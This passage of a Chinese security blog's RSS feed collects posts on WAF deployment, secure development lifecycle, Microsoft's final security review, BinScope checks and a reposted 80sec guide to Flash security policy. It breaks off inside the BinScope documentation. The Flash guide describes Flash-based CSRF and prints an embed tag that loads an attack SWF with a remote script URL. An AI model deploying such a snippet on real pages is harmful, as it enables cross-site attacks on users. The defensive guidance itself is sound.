<p>THE BEER-WARE LICENSE:<br />
wrote this file. As long as you retain this notice you can do whatever you want with this stuff. If we meet some day, and you think this stuff is worth it, you can buy me a beer in return.</p>
<p>Borrowed from http://people.freebsd.org/~phk/</p>
<h4><a name="__AB">-[ B. Contact</a></h4>
<p>You can reach me at:</p>
<p>MAIL: shm+minerva@digitalsun.pl<br />
IRC: shm@freenode<br />
WEB: http://digitalsun.pl/</p>
<h4><a name="__AC">-[ C. References:</a></h4>
<table>
<tbody>
<tr>
<td><a name="__miller">[miller]</a></td>
<td><a href="http://pages.cs.wisc.edu/~bart/fuzz/Foreword1.html">http://pages.cs.wisc.edu/~bart/fuzz/Foreword1.html</a></td>
<td>Miller’s site on fuzzing</td>
</tr>
<tr>
<td><a name="__pff">[pff]</a></td>
<td><a href="http://www.setec.org/~calcite/code/pff/">http://www.setec.org/~calcite/code/pff/</a></td>
<td>PHP Fuzzing Framework</td>
</tr>
<tr>
<td><a name="__lilxam">[lilxam]</a></td>
<td><a href="http://lilxam.free.fr/repo/hacking/PHP%20buffer%20overflow/PHP_BOF.pdf">http://lilxam.free.fr/repo/hacking/PHP%20buffer%20overflow/PHP_BOF.pdf</a></td>
<td>article in french about PHP fuzzing</td>
</tr>
</tbody>
</table>
<h4><a name="__AD">-[ D. Further reading material:</a></h4>
<table>
<tbody>
<tr>
<td><a href="http://en.wikipedia.org/wiki/Fuzz_testing">http://en.wikipedia.org/wiki/Fuzz_testing</a></td>
<td>briefly about fuzzing</td>
</tr>
<tr>
<td><a href="http://pages.cs.wisc.edu/~bart/fuzz/">http://pages.cs.wisc.edu/~bart/fuzz/</a></td>
<td>more on fuzzing</td>
</tr>
<tr>
<td><a href="http://bitbucket.org/haypo/fusil/wiki/Home">http://bitbucket.org/haypo/fusil/wiki/Home</a></td>
<td>fusil fuzzer, written in Python supporting PHP fuzzing</td>
</tr>
<tr>
<td><a href="http://web.archive.org/web/20070807083417/www.digitaldwarf.be/">http://web.archive.org/web/20070807083417/www.digitaldwarf.be/</a></td>
<td>digital dwarf fuzzers collection</td>
</tr>
<tr>
<td><a href="http://events.ccc.de/congress/2005/fahrplan/events/537.en.html">http://events.ccc.de/congress/2005/fahrplan/events/537.en.html</a></td>
<td>Fuzzing – Breaking software in an automated fashion</td>
</tr>
</tbody>
</table>
<h4><a name="__AE">-[ E. Greetings:</a></h4>
<p>I would like to thank very much following people for their contribution:</p>
<ul>
<li>Katabu for proof-reading and patience</li>
<li>Snooty for proof-reading and feedback</li>
<li>dft-labs for providing me testing environment</li>
</ul>
</div>
]]></description>
		<wfw:commentRss>http://baoz.net/the-minerva-php-fuzzer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Web Application Firewall部署与安全开发生命周期</title>
		<link>http://baoz.net/compare-different-way-while-implement-web-application-firewall-and-security-development-lifecycle/</link>
		<comments>http://baoz.net/compare-different-way-while-implement-web-application-firewall-and-security-development-lifecycle/#comments</comments>
		<pubDate>Sat, 08 May 2010 05:32:30 +0000</pubDate>
		<dc:creator>baoz</dc:creator>
				<category><![CDATA[技术点滴]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[PHPIDS]]></category>
		<category><![CDATA[SDL]]></category>
		<category><![CDATA[Security Development Lifecycle]]></category>
		<category><![CDATA[WAF]]></category>
		<category><![CDATA[Web Application Firewall]]></category>
		<category><![CDATA[代码分析]]></category>
		<category><![CDATA[安全开发生命周期]]></category>

		<guid isPermaLink="false">http://baoz.net/?p=5818</guid>
		<description><![CDATA[<p>包子分享一下Web Application Firewall及安全开发生命周期（SDL）在企业内部推进的相关想法，还请各位拍砖。</p>
<p><span id="more-5818"></span></p>
<p>素包子认为WAF的部署位置有3个：反向代理，WEB服务模块和开发过程。它们各有优劣，但并不绝对，安全团队的从属、能力、特长及企业类型有可能会把下文的优点变成缺点，反之亦然。</p>
<p>1、在所有的主机前端部署，工作形式为反向代理。如果没记错，绿盟的WAF是这么部署的，如果有误，还请斧正。</p>
<p>优点：</p>
<p>A:灵活,快速；</p>
<p>B:对现有业务影响较小；</p>
<p>C:策略调节方便，管理成本非常低</p>
<p>D:效果明显；</p>
<p>E:对资源要求较低，不需要动到代码，沟通成本较低，如果安全团队不是挂在开发下面，这是一个好路子。</p>
<p>缺点：</p>
<p>A:可能引入单点故障；</p>
<p>B:如果网站的PV非常猛，性能可能是个问题。</p>
<p>C:来自业务部门的压力可能会较大；由于影响面很大，阻力较大。</p>
<p>D:产品较为封闭，产品给企业带来的防御能力大部分依赖于厂商对该产品的重视程度、开发人员的负责程度及开发人员的安全对抗能力。</p>
<p>这类WAF不一定适合百度、迅雷、腾讯、阿里巴巴及四大门户这些大型的网站；但对中小企业来说，是非常不错的东西。</p>
<p>如果团队有钱，那么可以考虑从WAF切入SDL；如果团队有黑盒牛人，那就从PENTEST切入好了；如果有钱又有牛人，那随便搞。</p>
<p>2、在每个主机的WEB SERVER上部署，例如mod security，hardend php的suhosin。</p>
<p>优点：</p>
<p>A:分布式的部署方式在一定程度上缓解了反向代理的单点故障及性能问题；</p>
<p>B:由于影响面较小，前期部署较为容易，阻力较小。</p>
<p>缺点：</p>
<p>A:分布所带来的集中管理是个问题（策略、日志）；</p>
<p>B:需要进行一定的二次开发，对企业安全团队的安全对抗及编码能力要求较高；</p>
<p>C:沟通成本较高；需要量化对性能的影响。</p>
<p>D:管理成本较高；</p>
<p>安全团队能力较强的大中型企业，可以考虑循序渐进的使用这种方式保护关键应用。</p>
<p>3、在开发过程中部署，例如PHPIDS。</p>
<p>优点：</p>
<p>A:能在应用架构一级解决安全问题，简单，深入；</p>
<p>B:对性能影响较小。</p>
<p>C:秘密 ：）</p>
<p>缺点：</p>
<p>A:安全团队如果不是挂在开发下面，介入开发过程非常困难，执行力有限，沟通成本非常高；</p>
<p>B:由于分布的更细，对集中管理的要求更高；策略的设计及更新是个难点</p>
<p>C:安全团队需要具备一定的二次开发能力及安全对抗能力。</p>
<p>综上所述，由于大部分优秀的安全人才都被腾讯、阿里和盛大给收了，从控制项目风险的角度来看，安全团队技术和人员资源相对较少的企业可以优先考虑第一种方式；如果咱有信心，并且安全团队挂在开发旗下，可以优先考虑第三种方式。第三种方式和第一种方式其实是互为补充的。</p>
]]></description>
		<wfw:commentRss>http://baoz.net/compare-different-way-while-implement-web-application-firewall-and-security-development-lifecycle/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>php-code-analysis-real-world-examples</title>
		<link>http://baoz.net/php-code-analysis-real-world-examples/</link>
		<comments>http://baoz.net/php-code-analysis-real-world-examples/#comments</comments>
		<pubDate>Sat, 08 May 2010 03:08:32 +0000</pubDate>
		<dc:creator>baoz</dc:creator>
				<category><![CDATA[技术点滴]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[SDL]]></category>
		<category><![CDATA[Security Development Lifecycle]]></category>
		<category><![CDATA[代码分析]]></category>
		<category><![CDATA[安全开发生命周期]]></category>

		<guid isPermaLink="false">http://baoz.net/?p=5815</guid>
		<description><![CDATA[<p>要搞PHP APP的SDL了，收集一把资料。</p>
<p><a href="http://baoz.net/wp-content/2010/05/php-code-analysis-real-world-examples.pdf">php-code-analysis-real-world-examples</a></p>
]]></description>
		<wfw:commentRss>http://baoz.net/php-code-analysis-real-world-examples/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Flash应用安全规范 by jianxin</title>
		<link>http://baoz.net/flash-application-security-standard-by-jianxin/</link>
		<comments>http://baoz.net/flash-application-security-standard-by-jianxin/#comments</comments>
		<pubDate>Wed, 05 May 2010 16:48:46 +0000</pubDate>
		<dc:creator>baoz</dc:creator>
				<category><![CDATA[技术点滴]]></category>
		<category><![CDATA[80sec]]></category>
		<category><![CDATA[flash应用安全规范]]></category>
		<category><![CDATA[SDL]]></category>

		<guid isPermaLink="false">http://baoz.net/?p=5769</guid>
		<description><![CDATA[<p>这个文章要收藏，必须的。严重敬佩80sec剑心同学的分享精神，80sec茄子同学的很多好文章也必须收藏；不得不说80sec是国内分享程度最高，质量也最高的组织（绝对不需要“之一”）。</p>
<p>know it and hack it，我懂的。</p>
<p>Author: jianxin [80sec]<br />
EMail: jianxin#80sec.com<br />
Site: http://www.80sec.com<br />
Date: 2009-07-25<br />
From: <a href="http://www.80sec.com/release/flash-security.txt">http://www.80sec.com/release/flash-security.txt</a></p>
<p><span id="more-5769"></span></p>
<p>[ 目录 ]</p>
<p>0×00 前言<br />
0×01 安全的服务端flash安全策略<br />
0×02 安全的客户端flash安全规范<br />
0×03 flash安全的checklist</p>
<p>0×00 前言</p>
<p>flash作为一款浏览器的第三方插件，是对浏览器功能的延伸，已经是web必不可少的元素。但是这种延伸必然带来不安全的因素，相比于安全性已经得到磨练的浏览器来说，flash绝对是客户端安全的一个软肋（包括在比较神秘的漏洞挖掘领域，也是这个观点），同样flash在页面展示时所含有的丰富功能，在某些情况下你甚至可以认为它等同于javascript，甚至更为危险。浏览器所贯彻的域安全策略被flash所打破，客户端所做的种种过滤也同样被flash所打破（只要你还使用flash）。但是flash也已经感觉到了这个问题，并且时时在改进，在设计上也引入了一些比较好的安全机制，恰当的使用这些安全机制可以避免你的应用程序遭到攻击。80sec将从实际的一些经验总结出一些供参考的flash使用规范，规范将从服务端应用程序的安全设计和客户端的flash安全使用两个角度来说明这个问题。</p>
<p>0×01 安全的服务端flash安全策略</p>
<p>应用程序安全设计的时候应该秉承最小化原则，在flash的大部分应用中，由于功能需求就经常需要跨域获取数据。域安全是浏览器安全的基本策略，flash作为浏览器的扩展允许跨域获取数据就从根本上打破了浏览器的安全性。flash以flash文件存储域名作为它的当前域，如果需要获取其他服务器上的数据就会发生跨域行为，而且该跨域行为会继承用户浏览器里的认证信息，限制不严格时将导致安全漏洞，打破我们的整个客户端安全模型。flash在跨域时唯一的限制策略就是crossdomain.xml文件，该文件限制了flash是否可以跨域获取数据以及允许从什么地方跨域获取数据。通过严格控制该策略文件我们就可以为应用程序安全和功能上寻找到一个平衡点。</p>
<p>典型的crossdomain.xml文件策略<br />
<code><br />
&lt;?xml version="1.0"?&gt;<br />
&lt;cross-domain-policy&gt;<br />
&lt;allow-access-from domain="*.80sec.com" /&gt;<br />
&lt;/cross-domain-policy&gt;<br />
</code><br />
其中最主要的策略是allow-access-from表示允许来自哪些域的跨域请求，早期的flash允许从其他位置载入自定义的策略文件，目前最新版的flash在接受自定义的策略文件之前会去检查主目录的crossdomain.xml来判断是否接受自定义策略文件。该选项由<br />
<code><br />
&lt;site-control permitted-cross-domain-policies="by-content-type"/&gt;<br />
</code><br />
节点控制，不加该选项时，默认情况下flash不加载除主策略文件之外的其他策略文件，即只接受根目录里的/crossdomain.xml。这对于防止利用上传文件来定义自己策略文件的攻击非常有效。为了在某些条件下需要启用其他策略文件，我们需要设置permitted-cross-domain-policies，设置为by-content-type时将会只允许http头为text/x-cross-domain-policy的策略文件，当为all时则允许所有的text/xml等格式的策略文件。</p>
<p>应用程序在设计的时候按照最小化原则</p>
<p>1 将文件上传和应用的域名分开，防止通过上传flash文件直接获得域操作的权限。<br />
2 对于不需要使用flash的应用严禁在域名目录下部署flash策略文件。<br />
3 对于有功能需求的应用遵循最小化原则将域名限制到最小的范围，有安全需求的应用应该明确允许跨域请求的域，禁止直接使用*通配符，这将导致跨域访问权限的扩散。</p>
<p>譬如http://sns.80sec.com/crossdomain.xml<br />
<code><br />
&lt;?xml version="1.0"?&gt;<br />
&lt;cross-domain-policy&gt;<br />
&lt;allow-access-from domain="*.80sec.com" /&gt;<br />
&lt;/cross-domain-policy&gt;<br />
</code><br />
就对权限设置过泛，可能导致其他安全策略的绕过（如绕过csrf等等）</p>
<p>4 对于有高安全需求的应用，在限制域名的前提下，将需要被flash访问的应用限制到指定目录，并且在flash内指定策略文件到该目录以将所有访问权限限制到单一目录。</p>
<p>如果login.80sec.com中的某个功能如login需要对所有域名开放，如果配置根目录crossdomain.xml<br />
<code><br />
&lt;?xml version="1.0"?&gt;<br />
&lt;cross-domain-policy&gt;<br />
&lt;allow-access-from domain="*" /&gt;<br />
&lt;/cross-domain-policy&gt;<br />
</code><br />
不是一个好的策略因为他不只会开放login同时会开放如chgpassword等其他的服务给用户，我们需要配置主策略文件<br />
<code><br />
&lt;?xml version="1.0"?&gt;<br />
&lt;cross-domain-policy&gt;<br />
&lt;site-control permitted-cross-domain-policies="all"/&gt;<br />
&lt;/cross-domain-policy&gt;<br />
</code><br />
然后自定义策略文件到一个目录如/flash/crossdomain.xml<br />
<code><br />
&lt;?xml version="1.0"?&gt;<br />
&lt;cross-domain-policy&gt;<br />
&lt;allow-access-from domain="*" /&gt;<br />
&lt;/cross-domain-policy&gt;<br />
</code><br />
并且将login应用部署到/flash/目录，用户的访问将被限制到/flash/下面，无法对其他功能进行操作。</p>
<p>0×02 安全的客户端flash安全规范</p>
<p>控制好flash安全策略并不是安全的全部，这样只能保证服务端的安全。由于一些功能上的原因，譬如为了追求良好的用户体验，为了让无聊的用户可以在页面共享各种flash，为了把页面做得华丽丽的，我们往往需要在页面内容里嵌入flash，这个时候安全性就会被抛到一边（我们还是建议如果不需要的话还是少用这种动态的东西）。我们在一个页面引入一个flash时，一般的做法是下面这种形式：<br />
<code><br />
&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0"<br />
name="Main" width="1000" height="600" align="middle" id="Main"&gt;<br />
&lt;embed flashvars="site=&amp;sitename=" src='Loading.swf?user=453156346&amp;key=df57546b-c68c-4fd7-9f9c-2d105905f132&amp;v=10950&amp;rand=633927610302991250' width="1000" height="600"<br />
align="middle" quality="high" name="Main" allowscriptaccess="sameDomain" type="application/x-shockwave-flash"<br />
pluginspage="http://www.macromedia.com/go/getflashplayer" /&gt;<br />
&lt;/object&gt;<br />
</code></p>
<p>由于flash的强大，并且在页面元素里基本等同于script这种危险的标签，对于这点，flash已经有所考虑，在引入flash的时候flash提供了控制属性，其中与安全最为关键的是AllowScriptAccess属性和allowNetworking属性。其中AllowScriptAccess控制flash与html页面的通讯，可选的值有：<br />
<code><br />
always //对与html的通讯也就是执行javascript不做任何限制<br />
sameDomain //只允许来自于本域的flash与html通讯，这是默认值<br />
never //绝对禁止flash与页面的通讯<br />
</code><br />
默认情况下的选项是sameDomain，这个时候某些场景下看起来也是足够安全了，但是我们还是能看到经常有程序允许将这个选项设置为always，而即使是sameDomain也不是在所有场景下都安全的，考虑如论坛这样的程序，上传和展现都是在同一个域的情况下，就不存在任何安全性可言了，我们强烈建议该选项为never，如果你选择sameDomain或者always我也希望你清楚自己在做什么。</p>
<p>allowNetworking控制flash与外部的网络通讯，可选的值包括：<br />
<code><br />
all //允许使用所有的网络通讯，也是默认值<br />
internal //flash不能与浏览器通讯如navigateToURL，但是可以调用其他的API<br />
none //禁止任何的网络通讯<br />
</code><br />
但是最近更新的flash客户端貌似是只要AllowScriptAccess被设置那么包括navigateToURL都不能使用，在官方文档上也只看到简简单单的一句道歉，但是这样的确从某些程度上提高了嵌入flash的安全性。但是即使不跳转，我们还是能做很多事情，当我们将flash直接嵌入到页面又没有设置allowNetworking时，我们就可以做csrf之类猥琐的事情，更要命的是这种形式的csrf支持POST请求，referer来源为swf文件所在地址或者为空，同时发送所有cookie而不像图片那些只能发送session cookie，而且基本没有任何的痕迹，基本秒杀那些没有做token保护的csrf防范了，之前的开心网犯的就是这个错误，我们强烈建议该选项为none，如果你不选择这个建议你也要清楚自己在做什么。</p>
<p>0×03 flash安全的checklist</p>
<p>1 检查自己的网站的根目录的crossdomain.xml</p>
<p>好孩子：</p>
<p>坏孩子：</p>
<p>我承认所有的利用都离不开场景，有的时候如果实在没有办法修改这个crossdomain.xml（这个情况的确存在，譬如某些变态功能的需要），那么就可以考虑在应用程序获取数据时对提交的数据做校验，譬如当请求的头里包括x-flash-version时，就可以判定来源是flash而不予响应，但这的确不是一种优美的解决办法。</p>
<p>http://mail.google.com/crossdomain.xml</p>
<p>http://youa.baidu.com/crossdomain.xml</p>
<p>http://www.adobe.com/crossdomain.xml</p>
<p>http://www.youku.com/crossdomain.xml</p>
<p>http://www.renren.com/crossdomain.xml</p>
<p>http://www.taobao.com/crossdomain.xml</p>
<p>2 检查自己网站引入flash的代码</p>
<p>有AllowScriptAccess和allowNetworking么？如果没有，那是不是我这个应用设计已经很安全足够抵御各种攻击了?</p>
<p>如果想针对安全问题做测试，fly_flash是方便的攻击客户端的好伙伴（参见开心网蠕虫），如果想针对第一种错误的策略文件突破csrf等做测试就还得自己写源码了。另外，良好的设计的最大敌人就是坏的实现，原因也是各个程序之间天然的心之壁垒，猜猜<br />
<code><br />
&lt;embed allowscriptaccess="always" allowscriptaccess="never" height=384 width=454 src=http://www.80sec.com/fly_flash.swf?sec80=http://www.80sec.com/fly_flash.txt&amp;x.swf wmode="transparent" loop="false" autostart="false"&gt;<br />
</code><br />
这段代码的结果是什么?</p>
<div>本站内容均为原创，转载请务必保留署名与链接！<br />
<a title="Flash应用安全规范" href="http://www.80sec.com/flash-security-polic.html">Flash应用安全规范</a>:<a title="Flash应用安全规范" href="http://www.80sec.com/flash-security-polic.html">http://www.80sec.com/flash-security-polic.html</a></div>
]]></description>
		<wfw:commentRss>http://baoz.net/flash-application-security-standard-by-jianxin/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>[转载]透视Microsoft最终安全性检查</title>
		<link>http://baoz.net/microsoft-fsr/</link>
		<comments>http://baoz.net/microsoft-fsr/#comments</comments>
		<pubDate>Sat, 20 Feb 2010 13:31:22 +0000</pubDate>
		<dc:creator>baoz</dc:creator>
				<category><![CDATA[技术点滴]]></category>
		<category><![CDATA[SDL]]></category>
		<category><![CDATA[Security Development Lifecycle]]></category>
		<category><![CDATA[安全开发生命周期]]></category>

		<guid isPermaLink="false">http://baoz.net/?p=4926</guid>
		<description><![CDATA[<p> 从去年开始,作者作为安全检测员,代表ACE组对GFS(Global Foundation Services)的MSN产品作最终安全检查（Final Security Review，简称FSR）。最终安全检查是以安全开发生命周期(Security Development Lifecycle，简称 SDL)为基础,对软件在出厂前作最终的安全检查。</p>
<p><span id="more-4926"></span></p>
<p>安全开发生命周期有两个目标：一是缩减与安全性有关的设计缺失与程序码缺陷错误，二是降低未完全解决的缺陷错误的严重程度。</p>
<p>最终安全性检查要求每个产品开发组有一位或多位人选负责安全和隐私方面的工作。他们的工作包括管理一切安全和隐私的问题，督促开发组执行并满足公司对安全和隐私方面的要求，在面临棘手的安全和隐私决策时做出理性的决定。</p>
<p>通常产品开发组在设计或 软件完工前的几个月,在内部网上登记他们的产品,并完成一份问卷清单，以帮助安全检测员了解产品。同时根据问卷答案, 决定这软件需要进行哪些安全测试。</p>
<p>最终安全性检查要求至少80%的员工一年有一次学习安全知识的机会, 并予以记录。Microsoft提供很多线上资源或是由讲师指导的课程。</p>
<p>最终安全性检查期间，安全检查员和开发组一起分析产品的威胁分析模型．了解产品究竟要保护哪些资产，认识到产品会引进哪些威胁及漏洞，并知道产品将如何缓和这些威胁。此外，还要考虑到威胁和弱点是来自产品部署的环境内，还是源自于与其他产品或端对端解决方案系统的互动。</p>
<p>常用的威胁分析模型有Threat Modeling Tool v3和ＴＡＭ（<a href="http://www.microsoft.com/downloads/details.aspx?familyid=59888078-9DAF-4E96-B7D1-944703479451&amp;displaylang=en">http://www.microsoft.com/downloads/details.aspx?familyid=59888078-9DAF-4E96-B7D1-944703479451&amp;displaylang=en</a>）</p>
<p>以下是最终安全性检查常用的(但不是仅有的)安全检测工具:</p>
<p>模糊测试（Fuzz testing）包括File Fuzzing, RPC Fuzzing, ActiveX Fuzzing</p>
<p>App Verifier: 是一个 Runtime 工具，它是在执行中的应用程式里进行作业。它能揪出 Run Time 时所发生与内存有关的问题，其中包括堆积式缓冲区溢位。</p>
<p>ComChk：检查COM Control</p>
<p>XRAY：用来捕捉机器上的攻击表面，可以发现产品的故意或有意无意的攻击表面。</p>
<p>Binscope；检查binaries代码</p>
<p>CAT.NET：ＡＣＥ组开发的用来发现网页中的SQL injection, cross-site scripting 和其他的data injection 问题。</p>
<p>通过最终安全性检查,产品设计组可以在安全性开发生命周期的各个阶段自己用安全检测工具对代码或系统进行检测。对于高风险的产品, 在完成最终安全检阅的同时,　我们会建议他们请ＡＣＥ组或第三方公司再进行代码安全测试,和b1ackbox测试。</p>
<p>最后，安全检查员根据所发现的结果来决定软件是否能发行上市，或是还需要返工。 </p>
<p>原霞</p>
<p>微软ACE安全团队</p>
]]></description>
		<wfw:commentRss>http://baoz.net/microsoft-fsr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2010 CWE/SANS Top 25 Most Dangerous Programming Errors</title>
		<link>http://baoz.net/2010-cwesans-top-25-most-dangerous-programming-errors/</link>
		<comments>http://baoz.net/2010-cwesans-top-25-most-dangerous-programming-errors/#comments</comments>
		<pubDate>Sat, 20 Feb 2010 02:37:50 +0000</pubDate>
		<dc:creator>baoz</dc:creator>
				<category><![CDATA[技术点滴]]></category>
		<category><![CDATA[SDL]]></category>
		<category><![CDATA[Security Development Lifecycle]]></category>
		<category><![CDATA[安全开发生命周期]]></category>

		<guid isPermaLink="false">http://baoz.net/?p=4914</guid>
		<description><![CDATA[<p>最危险的25种编码错误。</p>
<p>The 2010 CWE/SANS Top 25 Most Dangerous Programming Errors is a list of the most widespread and critical programming errors that can lead to serious software vulnerabilities. They are often easy to find, and easy to exploit. They are dangerous because they will frequently allow attackers to completely take over the software, steal data, or prevent the software from working at all.</p>
<p><span id="more-4914"></span><img title="更多..." src="http://baoz.net/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /></p>
<p>The Top 25 list is a tool for education and awareness to help programmers to prevent the kinds of vulnerabilities that plague the software industry, by identifying and avoiding all-too-common mistakes that occur before software is even shipped. Software customers can use the same list to help them to ask for more secure software. Researchers in software security can use the Top 25 to focus on a narrow but important subset of all known security weaknesses. Finally, software managers and CIOs can use the Top 25 list as a measuring stick of progress in their efforts to secure their software.</p>
<p><a href="http://baoz.net/wp-content/2010/02/2010_cwe_sans_top25.pdf">2010_cwe_sans_top25</a></p>
]]></description>
		<wfw:commentRss>http://baoz.net/2010-cwesans-top-25-most-dangerous-programming-errors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>读取可执行文件编译参数的方法</title>
		<link>http://baoz.net/%e8%af%bb%e5%8f%96%e5%8f%af%e6%89%a7%e8%a1%8c%e6%96%87%e4%bb%b6%e7%bc%96%e8%af%91%e5%8f%82%e6%95%b0%e7%9a%84%e6%96%b9%e6%b3%95/</link>
		<comments>http://baoz.net/%e8%af%bb%e5%8f%96%e5%8f%af%e6%89%a7%e8%a1%8c%e6%96%87%e4%bb%b6%e7%bc%96%e8%af%91%e5%8f%82%e6%95%b0%e7%9a%84%e6%96%b9%e6%b3%95/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 00:27:51 +0000</pubDate>
		<dc:creator>baoz</dc:creator>
				<category><![CDATA[技术点滴]]></category>
		<category><![CDATA[SDL]]></category>
		<category><![CDATA[Security Development Lifecycle]]></category>
		<category><![CDATA[安全开发生命周期]]></category>

		<guid isPermaLink="false">http://baoz.net/?p=4342</guid>
		<description><![CDATA[<p>有时需要检测SAFESEH是否打开，方法如下。</p>
<p>They can use “link.exe /dump /loadconfig &lt;executable&gt;” to verify the presence of the safe exception handler table in an executable.</p>
<p>dumpbin貌似也可以实现类似功能。</p>
]]></description>
		<wfw:commentRss>http://baoz.net/%e8%af%bb%e5%8f%96%e5%8f%af%e6%89%a7%e8%a1%8c%e6%96%87%e4%bb%b6%e7%bc%96%e8%af%91%e5%8f%82%e6%95%b0%e7%9a%84%e6%96%b9%e6%b3%95/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe Acrobat 9 Does The Right Thing On Vista</title>
		<link>http://baoz.net/adobe-acrobat-9-does-the-right-thing-on-vista/</link>
		<comments>http://baoz.net/adobe-acrobat-9-does-the-right-thing-on-vista/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 00:26:15 +0000</pubDate>
		<dc:creator>baoz</dc:creator>
				<category><![CDATA[技术点滴]]></category>
		<category><![CDATA[DEP]]></category>
		<category><![CDATA[mitigations]]></category>
		<category><![CDATA[SDL]]></category>
		<category><![CDATA[Security Development Lifecycle]]></category>
		<category><![CDATA[安全开发生命周期]]></category>

		<guid isPermaLink="false">http://baoz.net/?p=4177</guid>
		<description><![CDATA[<p>When Adobe announced that they would combine Flash and Acrobat, two heavily attacked and common software components, into one package, <a href="http://www.eweek.com/c/a/Security/The-Big-Bullseye-On-Adobe/">I was concerned</a>. Combining two big attack surfaces into one bigger one seemed like a dangerous proposition.</p>
<p><span id="more-4177"></span></p>
<p>The argument may or may not make sense, but for Vista users Acrobat 9 (now with Flash!) will be much, much harder to compromise than in the past. As Microsoft Security Software Engineer Robert Hensing reveals, <a href="http://blogs.technet.com/robert_hensing/archive/2008/07/03/adobe-acrobat-9-creamy-security-goodness-on-vista-ws2008.aspx">Acrobat 9 on Vista opts in to DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization)</a>. These defensive feature will mean that even if—actually, I should say &#8220;when&#8221;—new vulnerabilities are found in Acrobat 9, they will be much harder to exploit in real world cases because DEP and ASLR impede a very large percentage of the exploit techniques..</p>
<p>Technically, opting in to these features should mean just adding some linker switches, but for a company like Adobe it can mean a lot more work than that. It might have meant changing tools and it certainly meant doing a lot more testing and probably more debugging. DEP and ASLR are likely to uncover other types of bugs in software that might have appeared benign in the past, but which will throw exceptions with DEP and ASLR enabled. They force you to write better code.</p>
<p>So hats off and some applause for Adobe for doing the right thing by their Vista users. They will be a lot safer. Even the XP SP2 and SP3 users will be safer if they turn on DEP.</p>
]]></description>
		<wfw:commentRss>http://baoz.net/adobe-acrobat-9-does-the-right-thing-on-vista/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BinScope Binary Analyzer</title>
		<link>http://baoz.net/binscope-binary-analyzer-doc/</link>
		<comments>http://baoz.net/binscope-binary-analyzer-doc/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 02:25:15 +0000</pubDate>
		<dc:creator>baoz</dc:creator>
				<category><![CDATA[技术点滴]]></category>
		<category><![CDATA[BinScope Binary Analyzer]]></category>
		<category><![CDATA[SDL]]></category>
		<category><![CDATA[Security Development Lifecycle]]></category>
		<category><![CDATA[安全开发生命周期]]></category>

		<guid isPermaLink="false">http://baoz.net/?p=4137</guid>
		<description><![CDATA[<p style="text-align: left;">这个是binscope的帮助文档，非常好，可惜有些图片挪不过来，其实文字已经很精彩了；可以看到这些检查项目有哪些是不需要PDB的，有哪些是需要PDB的。另外这东西支持命令行调用，很方便自动化处理。仔细看下会发现included checks和程序GUI上的有点区别，有可能之间有一定的交叉或包含关系吧。</p>
<p align="right"><span id="more-4137"></span></p>
<h1>Included Checks</h1>
<p>BinScope includes a variety of SDL-required and non-SDL&#8211;required checks. Each check is implemented by one of several included plug-ins with a name that matches each check. These checks are described in the following table.</p>
<table border="1" cellspacing="0" cellpadding="0" width="100%">
<thead>
<tr>
<td width="28%" valign="top">Check/Plugin</td>
<td width="71%" valign="top">Description</td>
</tr>
</thead>
<tbody>
<tr>
<td width="28%" valign="top">ATLVersionCheck</td>
<td width="71%" valign="top">Verifies that ATL headers used to build the binary are known good. For COM only.</td>
</tr>
<tr>
<td width="28%" valign="top">ATLVulnCheck</td>
<td width="71%" valign="top">Detects classes implementing IPersistStreamInit that have potentially vulnerable property map entries. For COM only.</td>
</tr>
<tr>
<td width="28%" valign="top">APTCACheck</td>
<td width="71%" valign="top">Reports a failure if the binary being verified is a managed assembly, has a strong name signature, and bears the APTCA attribute (AllowPartiallyTrustedCallersAttribute). Such assemblies can be potentially dangerous and should not be shipped without a thorough security review.</td>
</tr>
<tr>
<td width="28%" valign="top">SectCheck</td>
<td width="71%" valign="top">Reports a failure if the PE-format binary being verified has sections marked as shared and writable. Having such sections is a potential security vulnerability, and their use should be avoided.</td>
</tr>
<tr>
<td width="28%" valign="top">GSCheck</td>
<td width="71%" valign="top">Verifies that the /GS compiler flag was used to compile all components of the binary and shows detailed information per object in the binary. It is possible that only part of the object files in a binary were built with /GS. In this case you will need to find the owner of non-/GS-compiled objects or libraries and request a compliant version. Note: GSCheck needs access to the debug symbols for the binary. Ensure that the correct symbols are able to be located (for example by setting _NT_SYMBOL_PATH=SRV*\\symbols\symbols). For more information, see <a href="http://baoz.net/wp-admin/#_/GS_flag">/GS flag</a>.</td>
</tr>
<tr>
<td width="28%" valign="top">SafeSEHCheck</td>
<td width="71%" valign="top">Verifies that the image was linked using /SAFESEH. Not using /SAFESEH undermines the protection provided by /GS. Note &#8211; In order to link an image with /SAFESEH, all object files and lib files must be /SAFESEH-compatible. For more information, see <a href="http://baoz.net/wp-admin/#_/SafeSEH_flag">/SafeSEH flag</a> .</td>
</tr>
<tr>
<td width="28%" valign="top">FPCheck</td>
<td width="71%" valign="top">Identifies images having global function pointers. Overriding static buffers can cause global function pointers to be overwritten, which may expose a security vulnerability. This is not covered by /GS protection; therefore, if you have global function pointers, you may want to examine use of static/global buffers in your code to make sure there are no possible security issues. This check is not enforced by SDL, but it is strongly recommended that you check use of your static buffers to make sure no buffer overruns are possible. FPCheck requires that symbols be present (see the /GS check note above).</td>
</tr>
<tr>
<td width="28%" valign="top">SicCheck</td>
